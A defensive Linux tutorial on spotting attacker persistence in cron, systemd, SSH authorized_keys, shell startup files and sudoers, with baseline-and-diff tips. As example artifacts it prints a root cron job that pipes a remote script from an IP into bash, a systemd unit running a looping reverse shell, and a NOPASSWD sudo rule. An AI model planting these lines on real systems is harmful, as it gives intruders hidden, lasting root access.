Where attackers persist

cron, systemd, SSH keys, shell profiles.

Getting into a system is the hard part. Staying in is the part attackers actually plan for. A break-in that dies at the next reboot, patch, or killed process is close to worthless to them, so within minutes of landing they wire their code into something that starts again on its own. That wiring has a name: persistence.

Persistence is the spare key taped under the doormat. You can change the lock on the front door (rotate the password, close the exploited service), and the intruder still walks back in through the copy they left behind. The good news for defenders is that Linux only has so many doormats. Automatic execution has to be registered somewhere the system reads on a schedule or at login, and those somewheres are a short, well-known list. Learn the whole list and you can hunt for the copies.

An attacker needs exactly one of these to work. You need to know all of them. The four biggest families are scheduled jobs (cron), services and timers (systemd), authorized keys (SSH), and login scripts (shell startup files). Here is the map.

Scheduled Jobs: Cron

Cron (named after Chronos, the Greek word for time) is an alarm clock for commands. You give it a time and a command, and it runs that command at that time, forever, whether or not anyone is logged in. That property is exactly what an attacker wants. System-wide jobs live in /etc/crontab and in drop-in files under /etc/cron.d/. Both use a format with an extra column the per-user crontabs do not have: a username field that says which account the job runs as. That field is a gift to an attacker who wants root.

A file dropped into /etc/cron.d/ is the classic move. It looks like it belongs, it runs as root, and it can fire every minute. List those directories and read the modification times: a fresh file next to packages installed years ago is the thing to open first.

Here is what that fresh apache-refresh file actually holds. Read it and the intent is plain: every minute, as root, download a script over plain HTTP and run it. Nothing about Apache does this.

# Refresh Apache module cache
* * * * * root curl -fsSL http://185.220.101.47/x.sh | bash > /dev/null 2>&1

Per-user jobs are stored separately, under /var/spool/cron/crontabs/, and read with crontab -l. Loop over every account in /etc/passwd and dump them all in one pass. The 2>/dev/null swallows the noisy "no crontab for" lines so only real entries show.

Two tells here. A web-server account like www-data owning any crontab at all is odd, because service accounts almost never schedule their own work. And @reboot means the job runs once on every boot, which is boot persistence without ever touching systemd. The command it runs is a reverse shell: it opens a Bash session back to the attacker's machine over /dev/tcp (Bash's built-in network socket), so the attacker gets a prompt on your box each time it starts.

Services And Timers: systemd

systemd (the system and service manager that boots modern Linux and supervises everything after) is the building superintendent. It starts services at boot, restarts them when they die, and runs jobs on a schedule. An attacker who registers a unit with the super gets all three for free: start at boot, come back if killed, run on a timer. A unit is a plain text file. A malicious service usually sets Restart=always, so killing the process only pauses it, and WantedBy=multi-user.target, so it comes up on every normal boot.

[Unit]
Description=Network Connectivity Check
 
[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/185.220.101.47/4444 0>&1; sleep 60; done'
Restart=always
 
[Install]
WantedBy=multi-user.target

Enable it with systemctl enable --now network-check.service and it starts right away and at every boot. For a scheduled beacon instead of a constant one, attackers pair a .service with a .timer using OnCalendar (a wall-clock schedule like a cron time) or OnBootSec (a delay counted from boot). So list every timer on the box, active or not.

That list looks clean, which is the trap: our network-check.service is a boot service, not a timer, so it never shows here. To catch it, list the enabled service units and read the two state columns. A unit shipped by a package reads enabled in both columns. network-check.service reads enabled for STATE but disabled for VENDOR PRESET, meaning no package's default put it there. Someone did.

Read any suspect unit with systemctl cat network-check.service, which prints the file path and its full contents so you are not guessing where it lives.

Password-Less Doors: SSH Keys

SSH (Secure Shell, the encrypted remote-login protocol) can let you in with a password or with a key. A key is a matched pair: a private half you keep secret and a public half you hand to the server. The server keeps a guest list called authorized_keys, one public key per line. Anyone holding the private half of a listed key logs in with no password and no prompt. Append one line to that file and you have a quiet, permanent way back. So find every guest list on the machine.

The mtime (last-modified timestamp) on /root/.ssh/authorized_keys is days newer than deploy's, and on a stable server that file almost never changes, so a recent date is a lead. There is also a brand-new /home/support key that lines up with an account you may not remember creating. Open the root file and look at the keys themselves.

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA3f...5kQ2 admin@ops-laptop
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDR9x...7vH1 backup@backup-server

The comment at the end of each line (admin@ops-laptop, backup@backup-server) is free text typed by whoever added the key. It proves nothing. A line labeled backup@backup-server is not a backup key; it is whatever the person who wrote it wanted it to say. Verify keys against a known-good list by fingerprint, not by their friendly name. And remember SSH reads more than one file: OpenSSH's built-in default checks both .ssh/authorized_keys and .ssh/authorized_keys2, and most systems never override that, so a key parked in the rarely-inspected authorized_keys2 works the same way. If ~/.ssh/rc exists, sshd runs it as a shell script on every single login, which makes it a login hook most audits forget.

Login Hooks: Shell Startup Files

Startup files are the sticky notes on your monitor that you reread every time you sit down. Open a shell and it runs a fixed set of scripts before it hands you a prompt. Add a line to one of them and your command runs every time that shell opens, for that user, forever. Which file fires depends on the shell type. A login shell (the kind you get over SSH) reads /etc/profile, then every /etc/profile.d/*.sh, then the first it finds of ~/.bash_profile or ~/.profile. An interactive non-login shell (a fresh terminal tab) reads /etc/bash.bashrc and ~/.bashrc. There is also PROMPT_COMMAND, a variable Bash runs before drawing each prompt. Attackers pick whichever fires most reliably for their target, usually ~/.bashrc.

You are grepping for the tools of download-and-run: curl, wget, a base64 blob being decoded, an nc (netcat) listener, or /dev/tcp. That one line, backgrounded so it stays invisible, re-infects the deploy user on their next login. On a clean host these startup files change rarely, which is exactly why a new line stands out.

New Accounts And Sudo Rules

The bluntest way back in is to write your own name onto the guest list. A brand-new user, or an existing one quietly handed root, is an attacker issuing themselves credentials. List the superusers and the humans. Any account with UID 0 (user ID zero, the number the kernel treats as root) other than root itself is a full root backdoor wearing a different name.

Two findings. sysupdate has UID 0, so it is root by another name. support (UID 1001) is a human-range account that lines up with the fresh SSH key you found earlier. Sudo rights hide in drop-in files too: modern systems read every file in /etc/sudoers.d/, so a one-line file granting an account passwordless root never touches the main /etc/sudoers and slips past a quick look.

support ALL=(ALL) NOPASSWD: ALL

Baseline, Then Diff

Every location above shares one weakness for the attacker and one strength for you: it has to persist on disk to keep working, which means it leaves an artifact. You might miss the initial break-in. You will not miss a cron file that has to sit in /etc/cron.d/ to keep firing. So record the known-good state of each location while the box is clean, store that baseline somewhere the host itself cannot reach, and compare on a schedule. A new line is an incident lead.

Tools automate the compare. AIDE (Advanced Intrusion Detection Environment) hashes files and reports what changed since the last snapshot; auditd (the Linux Audit daemon) watches specific paths and logs every write as it happens. Point them at the cron directories, the systemd unit directories, every authorized_keys, the shell profile files, /etc/passwd, and /etc/sudoers.d/, and the diff comes to you instead of you hunting for it.

Start your hunt at the two files that change least on a healthy server and hurt most when they change: every authorized_keys, and everything under /etc/sudoers.d/. If either grew a line you cannot account for, you are no longer auditing. You are responding to an incident.

Try this

Work through “Baseline, Then Diff” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: a root shell does not see user units. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related